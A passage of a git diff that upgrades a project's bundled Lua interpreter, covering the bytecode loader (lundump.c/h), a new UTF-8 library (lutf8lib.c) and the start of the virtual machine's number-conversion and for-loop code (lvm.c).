= zgetc(S->Z); + if (b == EOZ) + error(S, "truncated chunk"); + return cast_byte(b); +} + + +static size_t loadUnsigned(LoadState *S, size_t limit) { + size_t x = 0; + int b; + limit >>= 7; + do { + b = loadByte(S); + if (x >= limit) + error(S, "integer overflow"); + x = (x << 7) | (b & 0x7f); + } while ((b & 0x80) == 0); return x; } -static int LoadInt(LoadState *S) { - int x; - LoadVar(S, x); - if (x < 0) error(S, "corrupted"); - return x; + +static size_t loadSize(LoadState *S) { + return loadUnsigned(S, MAX_SIZET); } -static lua_Number LoadNumber(LoadState *S) { + +static int loadInt(LoadState *S) { + return cast_int(loadUnsigned(S, INT_MAX)); +} + + +static lua_Number loadNumber(LoadState *S) { lua_Number x; - LoadVar(S, x); + loadVar(S, x); return x; } -static TString *LoadString(LoadState *S) { - size_t size; - LoadVar(S, size); - if (size == 0) + +static lua_Integer loadInteger(LoadState *S) { + lua_Integer x; + loadVar(S, x); + return x; +} + + +/* +** Load a nullable string into prototype 'p'. +*/ +static TString *loadStringN(LoadState *S, Proto *p) { + lua_State *L = S->L; + TString *ts; + size_t size = loadSize(S); + if (size == 0) /* no string? */ return NULL; - else { - char *s = luaZ_openspace(S->L, S->b, size); - LoadBlock(S, s, size * sizeof(char)); - return luaS_newlstr(S->L, s, size - 1); /* remove trailing '\0' */ + else if (--size <= LUAI_MAXSHORTLEN) { /* short string? */ + char buff[LUAI_MAXSHORTLEN]; + loadVector(S, buff, size); /* load string into buffer */ + ts = luaS_newlstr(L, buff, size); /* create string */ + } else { /* long string */ + ts = luaS_createlngstrobj(L, size); /* create string */ + setsvalue2s(L, L->top.p, ts); /* anchor it ('loadVector' can GC) */ + luaD_inctop(L); + loadVector(S, getlngstr(ts), size); /* load directly in final place */ + L->top.p--; /* pop string */ } + luaC_objbarrier(L, p, ts); + return ts; } -static void LoadCode(LoadState *S, Proto *f) { - int n = LoadInt(S); - f->code = luaM_newvector(S->L, n, Instruction); + +/* +** Load a non-nullable string into prototype 'p'. +*/ +static TString *loadString(LoadState *S, Proto *p) { + TString *st = loadStringN(S, p); + if (st == NULL) + error(S, "bad format for constant string"); + return st; +} + + +static void loadCode(LoadState *S, Proto *f) { + int n = loadInt(S); + f->code = luaM_newvectorchecked(S->L, n, Instruction); f->sizecode = n; - LoadVector(S, f->code, n, sizeof(Instruction)); + loadVector(S, f->code, n); } -static void LoadFunction(LoadState *S, Proto *f); -static void LoadConstants(LoadState *S, Proto *f) { - int i, n; - n = LoadInt(S); - f->k = luaM_newvector(S->L, n, TValue); +static void loadFunction(LoadState *S, Proto *f, TString *psource); + + +static void loadConstants(LoadState *S, Proto *f) { + int i; + int n = loadInt(S); + f->k = luaM_newvectorchecked(S->L, n, TValue); f->sizek = n; - for (i = 0; i < n; i++) setnilvalue(&f->k[i]); + for (i = 0; i < n; i++) + setnilvalue(&f->k[i]); for (i = 0; i < n; i++) { TValue *o = &f->k[i]; - int t = LoadChar(S); + int t = loadByte(S); switch (t) { - case LUA_TNIL: + case LUA_VNIL: setnilvalue(o); break; - case LUA_TBOOLEAN: - setbvalue(o, LoadChar(S)); + case LUA_VFALSE: + setbfvalue(o); break; - case LUA_TNUMBER: - setnvalue(o, LoadNumber(S)); + case LUA_VTRUE: + setbtvalue(o); break; - case LUA_TSTRING: - setsvalue2n(S->L, o, LoadString(S)); + case LUA_VNUMFLT: + setfltvalue(o, loadNumber(S)); + break; + case LUA_VNUMINT: + setivalue(o, loadInteger(S)); + break; + case LUA_VSHRSTR: + case LUA_VLNGSTR: + setsvalue2n(S->L, o, loadString(S, f)); break; default: lua_assert(0); } } - n = LoadInt(S); - f->p = luaM_newvector(S->L, n, Proto *); +} + + +static void loadProtos(LoadState *S, Proto *f) { + int i; + int n = loadInt(S); + f->p = luaM_newvectorchecked(S->L, n, Proto *); f->sizep = n; - for (i = 0; i < n; i++) f->p[i] = NULL; + for (i = 0; i < n; i++) + f->p[i] = NULL; for (i = 0; i < n; i++) { f->p[i] = luaF_newproto(S->L); - LoadFunction(S, f->p[i]); + luaC_objbarrier(S->L, f, f->p[i]); + loadFunction(S, f->p[i], f->source); } } -static void LoadUpvalues(LoadState *S, Proto *f) { - int i, n; - n = LoadInt(S); - f->upvalues = luaM_newvector(S->L, n, Upvaldesc); - f->sizeupvalues = n; - for (i = 0; i < n; i++) f->upvalues[i].name = NULL; - for (i = 0; i < n; i++) { - f->upvalues[i].instack = LoadByte(S); - f->upvalues[i].idx = LoadByte(S); - } -} - -static void LoadDebug(LoadState *S, Proto *f) { - int i, n; - f->source = LoadString(S); - n = LoadInt(S); - f->lineinfo = luaM_newvector(S->L, n, int); - f->sizelineinfo = n; - LoadVector(S, f->lineinfo, n, sizeof(int)); - n = LoadInt(S); - f->locvars = luaM_newvector(S->L, n, LocVar); - f->sizelocvars = n; - for (i = 0; i < n; i++) f->locvars[i].varname = NULL; - for (i = 0; i < n; i++) { - f->locvars[i].varname = LoadString(S); - f->locvars[i].startpc = LoadInt(S); - f->locvars[i].endpc = LoadInt(S); - } - n = LoadInt(S); - for (i = 0; i < n; i++) f->upvalues[i].name = LoadString(S); -} - -static void LoadFunction(LoadState *S, Proto *f) { - f->linedefined = LoadInt(S); - f->lastlinedefined = LoadInt(S); - f->numparams = LoadByte(S); - f->is_vararg = LoadByte(S); - f->maxstacksize = LoadByte(S); - LoadCode(S, f); - LoadConstants(S, f); - LoadUpvalues(S, f); - LoadDebug(S, f); -} - -/* the code below must be consistent with the code in luaU_header */ -#define N0 LUAC_HEADERSIZE -#define N1 (sizeof(LUA_SIGNATURE)-sizeof(char)) -#define N2 N1+2 -#define N3 N2+6 - -static void LoadHeader(LoadState *S) { - lu_byte h[LUAC_HEADERSIZE]; - lu_byte s[LUAC_HEADERSIZE]; - luaU_header(h); - memcpy(s, h, sizeof(char)); /* first char already read */ - LoadBlock(S, s + sizeof(char), LUAC_HEADERSIZE - sizeof(char)); - if (memcmp(h, s, N0) == 0) return; - if (memcmp(h, s, N1) != 0) error(S, "not a"); - if (memcmp(h, s, N2) != 0) error(S, "version mismatch in"); - if (memcmp(h, s, N3) != 0) error(S, "incompatible"); - else error(S, "corrupted"); -} /* -** load precompiled chunk +** Load the upvalues for a function. The names must be filled first, +** because the filling of the other fields can raise read errors and +** the creation of the error message can call an emergency collection; +** in that case all prototypes must be consistent for the GC. */ -Closure *luaU_undump(lua_State *L, ZIO *Z, Mbuffer *buff, const char *name) { +static void loadUpvalues(LoadState *S, Proto *f) { + int i, n; + n = loadInt(S); + f->upvalues = luaM_newvectorchecked(S->L, n, Upvaldesc); + f->sizeupvalues = n; + for (i = 0; i < n; i++) /* make array valid for GC */ + f->upvalues[i].name = NULL; + for (i = 0; i < n; i++) { /* following calls can raise errors */ + f->upvalues[i].instack = loadByte(S); + f->upvalues[i].idx = loadByte(S); + f->upvalues[i].kind = loadByte(S); + } +} + + +static void loadDebug(LoadState *S, Proto *f) { + int i, n; + n = loadInt(S); + f->lineinfo = luaM_newvectorchecked(S->L, n, ls_byte); + f->sizelineinfo = n; + loadVector(S, f->lineinfo, n); + n = loadInt(S); + f->abslineinfo = luaM_newvectorchecked(S->L, n, AbsLineInfo); + f->sizeabslineinfo = n; + for (i = 0; i < n; i++) { + f->abslineinfo[i].pc = loadInt(S); + f->abslineinfo[i].line = loadInt(S); + } + n = loadInt(S); + f->locvars = luaM_newvectorchecked(S->L, n, LocVar); + f->sizelocvars = n; + for (i = 0; i < n; i++) + f->locvars[i].varname = NULL; + for (i = 0; i < n; i++) { + f->locvars[i].varname = loadStringN(S, f); + f->locvars[i].startpc = loadInt(S); + f->locvars[i].endpc = loadInt(S); + } + n = loadInt(S); + if (n != 0) /* does it have debug information? */ + n = f->sizeupvalues; /* must be this many */ + for (i = 0; i < n; i++) + f->upvalues[i].name = loadStringN(S, f); +} + + +static void loadFunction(LoadState *S, Proto *f, TString *psource) { + f->source = loadStringN(S, f); + if (f->source == NULL) /* no source in dump? */ + f->source = psource; /* reuse parent's source */ + f->linedefined = loadInt(S); + f->lastlinedefined = loadInt(S); + f->numparams = loadByte(S); + f->is_vararg = loadByte(S); + f->maxstacksize = loadByte(S); + loadCode(S, f); + loadConstants(S, f); + loadUpvalues(S, f); + loadProtos(S, f); + loadDebug(S, f); +} + + +static void checkliteral(LoadState *S, const char *s, const char *msg) { + char buff[sizeof(LUA_SIGNATURE) + sizeof(LUAC_DATA)]; /* larger than both */ + size_t len = strlen(s); + loadVector(S, buff, len); + if (memcmp(s, buff, len) != 0) + error(S, msg); +} + + +static void fchecksize(LoadState *S, size_t size, const char *tname) { + if (loadByte(S) != size) + error(S, luaO_pushfstring(S->L, "%s size mismatch", tname)); +} + + +#define checksize(S,t) fchecksize(S,sizeof(t),#t) + +static void checkHeader(LoadState *S) { + /* skip 1st char (already read and checked) */ + checkliteral(S, &LUA_SIGNATURE[1], "not a binary chunk"); + if (loadByte(S) != LUAC_VERSION) + error(S, "version mismatch"); + if (loadByte(S) != LUAC_FORMAT) + error(S, "format mismatch"); + checkliteral(S, LUAC_DATA, "corrupted chunk"); + checksize(S, Instruction); + checksize(S, lua_Integer); + checksize(S, lua_Number); + if (loadInteger(S) != LUAC_INT) + error(S, "integer format mismatch"); + if (loadNumber(S) != LUAC_NUM) + error(S, "float format mismatch"); +} + + +/* +** Load precompiled chunk. +*/ +LClosure *luaU_undump(lua_State *L, ZIO *Z, const char *name) { LoadState S; - Closure *cl; + LClosure *cl; if (*name == '@' || *name == '=') S.name = name + 1; else if (*name == LUA_SIGNATURE[0]) @@ -198,43 +321,15 @@ Closure *luaU_undump(lua_State *L, ZIO *Z, Mbuffer *buff, const char *name) { S.name = name; S.L = L; S.Z = Z; - S.b = buff; - LoadHeader(&S); - cl = luaF_newLclosure(L, 1); - setclLvalue(L, L->top, cl); - incr_top(L); - cl->l.p = luaF_newproto(L); - LoadFunction(&S, cl->l.p); - if (cl->l.p->sizeupvalues != 1) { - Proto *p = cl->l.p; - cl = luaF_newLclosure(L, cl->l.p->sizeupvalues); - cl->l.p = p; - setclLvalue(L, L->top - 1, cl); - } - luai_verifycode(L, buff, cl->l.p); + checkHeader(&S); + cl = luaF_newLclosure(L, loadByte(&S)); + setclLvalue2s(L, L->top.p, cl); + luaD_inctop(L); + cl->p = luaF_newproto(L); + luaC_objbarrier(L, cl, cl->p); + loadFunction(&S, cl->p, NULL); + lua_assert(cl->nupvalues == cl->p->sizeupvalues); + luai_verifycode(L, cl->p); return cl; } -#define MYINT(s) (s[0]-'0') -#define VERSION MYINT(LUA_VERSION_MAJOR)*16+MYINT(LUA_VERSION_MINOR) -#define FORMAT 0 /* this is the official format */ - -/* -* make header for precompiled chunks -* if you change the code below be sure to update LoadHeader and FORMAT above -* and LUAC_HEADERSIZE in lundump.h -*/ -void luaU_header(lu_byte *h) { - int x = 1; - memcpy(h, LUA_SIGNATURE, sizeof(LUA_SIGNATURE) - sizeof(char)); - h += sizeof(LUA_SIGNATURE) - sizeof(char); - *h++ = cast_byte(VERSION); - *h++ = cast_byte(FORMAT); - *h++ = cast_byte(*(char *)&x); /* endianness */ - *h++ = cast_byte(sizeof(int)); - *h++ = cast_byte(sizeof(size_t)); - *h++ = cast_byte(sizeof(Instruction)); - *h++ = cast_byte(sizeof(lua_Number)); - *h++ = cast_byte(((lua_Number)0.5) == 0); /* is lua_Number integral? */ - memcpy(h, LUAC_TAIL, sizeof(LUAC_TAIL) - sizeof(char)); -} diff --git a/client/deps/liblua/lundump.h b/client/deps/liblua/lundump.h index 9bbeb484e..b774b4093 100644 --- a/client/deps/liblua/lundump.h +++ b/client/deps/liblua/lundump.h @@ -1,5 +1,5 @@ /* -** $Id: lundump.h,v 1.39 2012/05/08 13:53:33 roberto Exp $ +** $Id: lundump.h $ ** load precompiled Lua chunks ** See Copyright Notice in lua.h */ @@ -7,22 +7,29 @@ #ifndef lundump_h #define lundump_h +#include "llimits.h" #include "lobject.h" #include "lzio.h" -/* load one chunk; from lundump.c */ -LUAI_FUNC Closure *luaU_undump(lua_State *L, ZIO *Z, Mbuffer *buff, const char *name); - -/* make header; from lundump.c */ -LUAI_FUNC void luaU_header(lu_byte *h); - -/* dump one chunk; from ldump.c */ -LUAI_FUNC int luaU_dump(lua_State *L, const Proto *f, lua_Writer w, void *data, int strip); /* data to catch conversion errors */ -#define LUAC_TAIL "\x19\x93\r\n\x1a\n" +#define LUAC_DATA "\x19\x93\r\n\x1a\n" -/* size in bytes of header of binary files */ -#define LUAC_HEADERSIZE (sizeof(LUA_SIGNATURE)-sizeof(char)+2+6+sizeof(LUAC_TAIL)-sizeof(char)) +#define LUAC_INT 0x5678 +#define LUAC_NUM cast_num(370.5) + +/* +** Encode major-minor version in one byte, one nibble for each +*/ +#define LUAC_VERSION (((LUA_VERSION_NUM / 100) * 16) + LUA_VERSION_NUM % 100) + +#define LUAC_FORMAT 0 /* this is the official format */ + +/* load one chunk; from lundump.c */ +LUAI_FUNC LClosure *luaU_undump(lua_State *L, ZIO *Z, const char *name); + +/* dump one chunk; from ldump.c */ +LUAI_FUNC int luaU_dump(lua_State *L, const Proto *f, lua_Writer w, + void *data, int strip); #endif diff --git a/client/deps/liblua/lutf8lib.c b/client/deps/liblua/lutf8lib.c new file mode 100644 index 000000000..8094a8fd9 --- /dev/null +++ b/client/deps/liblua/lutf8lib.c @@ -0,0 +1,289 @@ +/* +** $Id: lutf8lib.c $ +** Standard library for UTF-8 manipulation +** See Copyright Notice in lua.h +*/ + +#define lutf8lib_c +#define LUA_LIB + +#include "lprefix.h" + + +#include +#include +#include +#include + +#include "lua.h" + +#include "lauxlib.h" +#include "lualib.h" + + +#define MAXUNICODE 0x10FFFFu + +#define MAXUTF 0x7FFFFFFFu + + +#define MSGInvalid "invalid UTF-8 code" + +/* +** Integer type for decoded UTF-8 values; MAXUTF needs 31 bits. +*/ +#if (UINT_MAX >> 30) >= 1 +typedef unsigned int utfint; +#else +typedef unsigned long utfint; +#endif + + +#define iscont(c) (((c) & 0xC0) == 0x80) +#define iscontp(p) iscont(*(p)) + + +/* from strlib */ +/* translate a relative string position: negative means back from end */ +static lua_Integer u_posrelat(lua_Integer pos, size_t len) { + if (pos >= 0) return pos; + else if (0u - (size_t)pos > len) return 0; + else return (lua_Integer)len + pos + 1; +} + + +/* +** Decode one UTF-8 sequence, returning NULL if byte sequence is +** invalid. The array 'limits' stores the minimum value for each +** sequence length, to check for overlong representations. Its first +** entry forces an error for non-ascii bytes with no continuation +** bytes (count == 0). +*/ +static const char *utf8_decode(const char *s, utfint *val, int strict) { + static const utfint limits[] = + {~(utfint)0, 0x80, 0x800, 0x10000u, 0x200000u, 0x4000000u}; + unsigned int c = (unsigned char)s[0]; + utfint res = 0; /* final result */ + if (c < 0x80) /* ascii? */ + res = c; + else { + int count = 0; /* to count number of continuation bytes */ + for (; c & 0x40; c <<= 1) { /* while it needs continuation bytes... */ + unsigned int cc = (unsigned char)s[++count]; /* read next byte */ + if (!iscont(cc)) /* not a continuation byte? */ + return NULL; /* invalid byte sequence */ + res = (res << 6) | (cc & 0x3F); /* add lower 6 bits from cont. byte */ + } + res |= ((utfint)(c & 0x7F) << (count * 5)); /* add first byte */ + if (count > 5 || res > MAXUTF || res < limits[count]) + return NULL; /* invalid byte sequence */ + s += count; /* skip continuation bytes read */ + } + if (strict) { + /* check for invalid code points; too large or surrogates */ + if (res > MAXUNICODE || (0xD800u <= res && res <= 0xDFFFu)) + return NULL; + } + if (val) *val = res; + return s + 1; /* +1 to include first byte */ +} + + +/* +** utf8len(s [, i [, j [, lax]]]) --> number of characters that +** start in the range [i,j], or nil + current position if 's' is not +** well formed in that interval +*/ +static int utflen(lua_State *L) { + lua_Integer n = 0; /* counter for the number of characters */ + size_t len; /* string length in bytes */ + const char *s = luaL_checklstring(L, 1, &len); + lua_Integer posi = u_posrelat(luaL_optinteger(L, 2, 1), len); + lua_Integer posj = u_posrelat(luaL_optinteger(L, 3, -1), len); + int lax = lua_toboolean(L, 4); + luaL_argcheck(L, 1 <= posi && --posi <= (lua_Integer)len, 2, + "initial position out of bounds"); + luaL_argcheck(L, --posj < (lua_Integer)len, 3, + "final position out of bounds"); + while (posi <= posj) { + const char *s1 = utf8_decode(s + posi, NULL, !lax); + if (s1 == NULL) { /* conversion error? */ + luaL_pushfail(L); /* return fail ... */ + lua_pushinteger(L, posi + 1); /* ... and current position */ + return 2; + } + posi = s1 - s; + n++; + } + lua_pushinteger(L, n); + return 1; +} + + +/* +** codepoint(s, [i, [j [, lax]]]) -> returns codepoints for all +** characters that start in the range [i,j] +*/ +static int codepoint(lua_State *L) { + size_t len; + const char *s = luaL_checklstring(L, 1, &len); + lua_Integer posi = u_posrelat(luaL_optinteger(L, 2, 1), len); + lua_Integer pose = u_posrelat(luaL_optinteger(L, 3, posi), len); + int lax = lua_toboolean(L, 4); + int n; + const char *se; + luaL_argcheck(L, posi >= 1, 2, "out of bounds"); + luaL_argcheck(L, pose <= (lua_Integer)len, 3, "out of bounds"); + if (posi > pose) return 0; /* empty interval; return no values */ + if (pose - posi >= INT_MAX) /* (lua_Integer -> int) overflow? */ + return luaL_error(L, "string slice too long"); + n = (int)(pose - posi) + 1; /* upper bound for number of returns */ + luaL_checkstack(L, n, "string slice too long"); + n = 0; /* count the number of returns */ + se = s + pose; /* string end */ + for (s += posi - 1; s < se;) { + utfint code; + s = utf8_decode(s, &code, !lax); + if (s == NULL) + return luaL_error(L, MSGInvalid); + lua_pushinteger(L, code); + n++; + } + return n; +} + + +static void pushutfchar(lua_State *L, int arg) { + lua_Unsigned code = (lua_Unsigned)luaL_checkinteger(L, arg); + luaL_argcheck(L, code <= MAXUTF, arg, "value out of range"); + lua_pushfstring(L, "%U", (long)code); +} + + +/* +** utfchar(n1, n2, ...) -> char(n1)..char(n2)... +*/ +static int utfchar(lua_State *L) { + int n = lua_gettop(L); /* number of arguments */ + if (n == 1) /* optimize common case of single char */ + pushutfchar(L, 1); + else { + int i; + luaL_Buffer b; + luaL_buffinit(L, &b); + for (i = 1; i <= n; i++) { + pushutfchar(L, i); + luaL_addvalue(&b); + } + luaL_pushresult(&b); + } + return 1; +} + + +/* +** offset(s, n, [i]) -> index where n-th character counting from +** position 'i' starts; 0 means character at 'i'. +*/ +static int byteoffset(lua_State *L) { + size_t len; + const char *s = luaL_checklstring(L, 1, &len); + lua_Integer n = luaL_checkinteger(L, 2); + lua_Integer posi = (n >= 0) ? 1 : len + 1; + posi = u_posrelat(luaL_optinteger(L, 3, posi), len); + luaL_argcheck(L, 1 <= posi && --posi <= (lua_Integer)len, 3, + "position out of bounds"); + if (n == 0) { + /* find beginning of current byte sequence */ + while (posi > 0 && iscontp(s + posi)) posi--; + } else { + if (iscontp(s + posi)) + return luaL_error(L, "initial position is a continuation byte"); + if (n < 0) { + while (n < 0 && posi > 0) { /* move back */ + do { /* find beginning of previous character */ + posi--; + } while (posi > 0 && iscontp(s + posi)); + n++; + } + } else { + n--; /* do not move for 1st character */ + while (n > 0 && posi < (lua_Integer)len) { + do { /* find beginning of next character */ + posi++; + } while (iscontp(s + posi)); /* (cannot pass final '\0') */ + n--; + } + } + } + if (n == 0) /* did it find given character? */ + lua_pushinteger(L, posi + 1); + else /* no such character */ + luaL_pushfail(L); + return 1; +} + + +static int iter_aux(lua_State *L, int strict) { + size_t len; + const char *s = luaL_checklstring(L, 1, &len); + lua_Unsigned n = (lua_Unsigned)lua_tointeger(L, 2); + if (n < len) { + while (iscontp(s + n)) n++; /* go to next character */ + } + if (n >= len) /* (also handles original 'n' being negative) */ + return 0; /* no more codepoints */ + else { + utfint code; + const char *next = utf8_decode(s + n, &code, strict); + if (next == NULL || iscontp(next)) + return luaL_error(L, MSGInvalid); + lua_pushinteger(L, n + 1); + lua_pushinteger(L, code); + return 2; + } +} + + +static int iter_auxstrict(lua_State *L) { + return iter_aux(L, 1); +} + +static int iter_auxlax(lua_State *L) { + return iter_aux(L, 0); +} + + +static int iter_codes(lua_State *L) { + int lax = lua_toboolean(L, 2); + const char *s = luaL_checkstring(L, 1); + luaL_argcheck(L, !iscontp(s), 1, MSGInvalid); + lua_pushcfunction(L, lax ? iter_auxlax : iter_auxstrict); + lua_pushvalue(L, 1); + lua_pushinteger(L, 0); + return 3; +} + + +/* pattern to match a single UTF-8 character */ +#define UTF8PATT "[\0-\x7F\xC2-\xFD][\x80-\xBF]*" + + +static const luaL_Reg funcs[] = { + {"offset", byteoffset}, + {"codepoint", codepoint}, + {"char", utfchar}, + {"len", utflen}, + {"codes", iter_codes}, + /* placeholders */ + {"charpattern", NULL}, + {NULL, NULL} +}; + + +LUAMOD_API int luaopen_utf8(lua_State *L) { + luaL_newlib(L, funcs); + lua_pushlstring(L, UTF8PATT, sizeof(UTF8PATT) / sizeof(char) - 1); + lua_setfield(L, -2, "charpattern"); + return 1; +} + diff --git a/client/deps/liblua/lvm.c b/client/deps/liblua/lvm.c index 0f295138b..3a67b2818 100644 --- a/client/deps/liblua/lvm.c +++ b/client/deps/liblua/lvm.c @@ -1,17 +1,21 @@ /* -** $Id: lvm.c,v 2.155 2013/03/16 21:10:18 roberto Exp $ +** $Id: lvm.c $ ** Lua virtual machine ** See Copyright Notice in lua.h */ +#define lvm_c +#define LUA_CORE +#include "lprefix.h" + +#include +#include +#include #include #include #include -#define lvm_c -#define LUA_CORE - #include "lua.h" #include "ldebug.h" @@ -27,855 +31,1868 @@ #include "lvm.h" - -/* limit for table tag-method chains (to avoid loops) */ -#define MAXTAGLOOP 100 +/* +** By default, use jump tables in the main interpreter loop on gcc +** and compatible compilers. +*/ +#if !defined(LUA_USE_JUMPTABLE) +#if defined(__GNUC__) +#define LUA_USE_JUMPTABLE 1 +#else +#define LUA_USE_JUMPTABLE 0 +#endif +#endif -const TValue *luaV_tonumber(const TValue *obj, TValue *n) { - lua_Number num; - if (ttisnumber(obj)) return obj; - if (ttisstring(obj) && luaO_str2d(svalue(obj), tsvalue(obj)->len, &num)) { - setnvalue(n, num); - return n; - } else - return NULL; -} + +/* limit for table tag-method chains (to avoid infinite loops) */ +#define MAXTAGLOOP 2000 -int luaV_tostring(lua_State *L, StkId obj) { - if (!ttisnumber(obj)) +/* +** 'l_intfitsf' checks whether a given integer is in the range that +** can be converted to a float without rounding. Used in comparisons. +*/ + +/* number of bits in the mantissa of a float */ +#define NBM (l_floatatt(MANT_DIG)) + +/* +** Check whether some integers may not fit in a float, testing whether +** (maxinteger >> NBM) > 0. (That implies (1 << NBM) <= maxinteger.) +** (The shifts are done in parts, to avoid shifting by more than the size +** of an integer. In a worst case, NBM == 113 for long double and +** sizeof(long) == 32.) +*/ +#if ((((LUA_MAXINTEGER >> (NBM / 4)) >> (NBM / 4)) >> (NBM / 4)) \ + >> (NBM - (3 * (NBM / 4)))) > 0 + +/* limit for integers that fit in a float */ +#define MAXINTFITSF ((lua_Unsigned)1 << NBM) + +/* check whether 'i' is in the interval [-MAXINTFITSF, MAXINTFITSF] */ +#define l_intfitsf(i) ((MAXINTFITSF + l_castS2U(i)) <= (2 * MAXINTFITSF)) + +#else /* all integers fit in a float precisely */ + +#define l_intfitsf(i) 1 + +#endif + + +/* +** Try to convert a value from string to a number value. +** If the value is not a string or is a string not representing +** a valid numeral (or if coercions from strings to numbers +** are disabled via macro 'cvt2num'), do not modify 'result' +** and return 0. +*/ +static int l_strton(const TValue *obj, TValue *result) { + lua_assert(obj != result); + if (!cvt2num(obj)) /* is object not a string? */ return 0; else { - char s[LUAI_MAXNUMBER2STR]; - lua_Number n = nvalue(obj); - int l = lua_number2str(s, sizeof(s), n); - setsvalue2s(L, obj, luaS_newlstr(L, s, l)); + TString *st = tsvalue(obj); + return (luaO_str2num(getstr(st), result) == tsslen(st) + 1); + } +} + + +/* +** Try to convert a value to a float. The float case is already handled +** by the macro 'tonumber'. +*/ +int luaV_tonumber_(const TValue *obj, lua_Number *n) { + TValue v; + if (ttisinteger(obj)) { + *n = cast_num(ivalue(obj)); return 1; - } + } else if (l_strton(obj, &v)) { /* string coercible to number? */ + *n = nvalue(&v); /* convert result of 'luaO_str2num' to a float */ + return 1; + } else + return 0; /* conversion failed */ } -static void traceexec(lua_State *L) { - CallInfo *ci = L->ci; - lu_byte mask = L->hookmask; - int counthook = ((mask & LUA_MASKCOUNT) && L->hookcount == 0); - if (counthook) - resethookcount(L); /* reset count */ - if (ci->callstatus & CIST_HOOKYIELD) { /* called hook last time? */ - ci->callstatus &= ~CIST_HOOKYIELD; /* erase mark */ - return; /* do not call hook again (VM yielded, so it did not move) */ - } - if (counthook) - luaD_hook(L, LUA_HOOKCOUNT, -1); /* call count hook */ - if (mask & LUA_MASKLINE) { - Proto *p = ci_func(ci)->p; - int npc = pcRel(ci->u.l.savedpc, p); - int newline = getfuncline(p, npc); - if (npc == 0 || /* call linehook when enter a new function, */ - ci->u.l.savedpc <= L->oldpc || /* when jump back (loop), or when */ - newline != getfuncline(p, pcRel(L->oldpc, p))) /* enter a new line */ - luaD_hook(L, LUA_HOOKLINE, newline); /* call line hook */ - } - L->oldpc = ci->u.l.savedpc; - if (L->status == LUA_YIELD) { /* did hook yield? */ - if (counthook) - L->hookcount = 1; /* undo decrement to zero */ - ci->u.l.savedpc--; /* undo increment (resume will increment it again) */ - ci->callstatus |= CIST_HOOKYIELD; /* mark that it yielded */ - ci->func = L->top - 1; /* protect stack below results */ - luaD_throw(L, LUA_YIELD); +/* +** try to convert a float to an integer, rounding according to 'mode'. +*/ +int luaV_flttointeger(lua_Number n, lua_Integer *p, F2Imod mode) { + lua_Number f = l_floor(n); + if (n != f) { /* not an integral value? */ + if (mode == F2Ieq) return 0; /* fails if mode demands integral value */ + else if (mode == F2Iceil) /* needs ceil? */ + f += 1; /* convert floor to ceil (remember: n != f) */ } + return lua_numbertointeger(f, p); } -static void callTM(lua_State *L, const TValue *f, const TValue *p1, - const TValue *p2, TValue *p3, int hasres) { - ptrdiff_t result = savestack(L, p3); - setobj2s(L, L->top++, f); /* push function */ - setobj2s(L, L->top++, p1); /* 1st argument */ - setobj2s(L, L->top++, p2); /* 2nd argument */ - if (!hasres) /* no result? 'p3' is third argument */ - setobj2s(L, L->top++, p3); /* 3rd argument */ - /* metamethod may yield only when called from Lua code */ - luaD_call(L, L->top - (4 - hasres), hasres, isLua(L->ci)); - if (hasres) { /* if has result, move it to its place */ - p3 = restorestack(L, result); - setobjs2s(L, p3, --L->top); - } +/* +** try to convert a value to an integer, rounding according to 'mode', +** without string coercion. +** ("Fast track" handled by macro 'tointegerns'.) +*/ +int luaV_tointegerns(const TValue *obj, lua_Integer *p, F2Imod mode) { + if (ttisfloat(obj)) + return luaV_flttointeger(fltvalue(obj), p, mode); + else if (ttisinteger(obj)) { + *p = ivalue(obj); + return 1; + } else + return 0; } -void luaV_gettable(lua_State *L, const TValue *t, TValue *key, StkId val) { - int loop; +/* +** try to convert a value to an integer. +*/ +int luaV_tointeger(const TValue *obj, lua_Integer *p, F2Imod mode) { + TValue v; + if (l_strton(obj, &v)) /* does 'obj' point to a numerical string? */ + obj = &v; /* change it to point to its corresponding number */ + return luaV_tointegerns(obj, p, mode); +} + + +/* +** Try to convert a 'for' limit to an integer, preserving the semantics +** of the loop. Return true if the loop must not run; otherwise, '*p' +** gets the integer limit. +** (The following explanation assumes a positive step; it is valid for +** negative steps mutatis mutandis.) +** If the limit is an integer or can be converted to an integer, +** rounding down, that is the limit. +** Otherwise, check whether the limit can be converted to a float. If +** the float is too large, clip it to LUA_MAXINTEGER. If the float +** is too negative, the loop should not run, because any initial +** integer value is greater than such limit; so, the function returns +** true to signal that. (For this latter case, no integer limit would be +** correct; even a limit of LUA_MININTEGER would run the loop once for +** an initial value equal to LUA_MININTEGER.) +*/ +static int forlimit(lua_State *L, lua_Integer init, const TValue *lim, + lua_Integer *p, lua_Integer step) { + if (!luaV_tointeger(lim, p, (step < 0 ? F2Iceil : F2Ifloor))) { + /* not coercible to in integer */ + lua_Number flim; /* try to convert to float */ + if (!tonumber(lim, &flim)) /* cannot convert to float? */ + luaG_forerror(L, lim, "limit"); + /* else 'flim' is a float out of integer bounds */ + if (luai_numlt(0, flim)) { /* if it is positive, it is too large */ + if (step < 0) return 1; /* initial value must be less than it */ + *p = LUA_MAXINTEGER; /* truncate */ + } else { /* it is less than min integer */ + if (step > 0) return 1; /* initial value must be greater than it */ + *p = LUA_MININTEGER; /* truncate */ + } + } + return (step > 0 ? init > *p : init < *p); /* not to run? */ +} + + +/* +** Prepare a numerical for loop (opcode OP_FORPREP). +** Return true to skip the loop. Otherwise, +** after preparation, stack will be as follows: +** ra : internal index (safe copy of the control variable) +** ra + 1 : loop counter (integer loops) or limit (float loops) +** ra + 2 : step +** ra + 3 : control variable +*/ +static int forprep(lua_State *L, StkId ra) { + TValue *pinit = s2v(ra); + TValue *plimit = s2v(ra + 1); + TValue *pstep = s2v(ra + 2); + if (ttisinteger(pinit) && ttisinteger(pstep)) { /* integer loop? */ + lua_Integer init = ivalue(pinit); + lua_Integer step = ivalue(pstep); + lua_Integer limit; + if (step == 0) + luaG_runerror(L, "'for' step is zero"); + setivalue(s2v(ra + 3), init); /* control variable */ + if (forlimit(L, init, plimit, &limit, step)) + return 1; /* skip the loop */ + else { /* prepare loop counter */ + lua_Unsigned count; + if (step > 0) { /* ascending loop? */ + count = l_castS2U(limit) - l_castS2U(init); + if (step != 1) /* avoid division in the too common case */ + count /= l_castS2U(step); + } else { /* step < 0; descending loop */ + count = l_castS2U(init) - l_castS2U(limit); + /* 'step+1' avoids negating 'mininteger' */ + count /= l_castS2U(-(step + 1)) + 1u; + } + /* store the counter in place of the limit (which won't be + needed anymore) */ + setivalue(plimit, l_castU2S(count)); + } + } else { /* try making all values floats */ + lua_Number init; + lua_Number limit; + 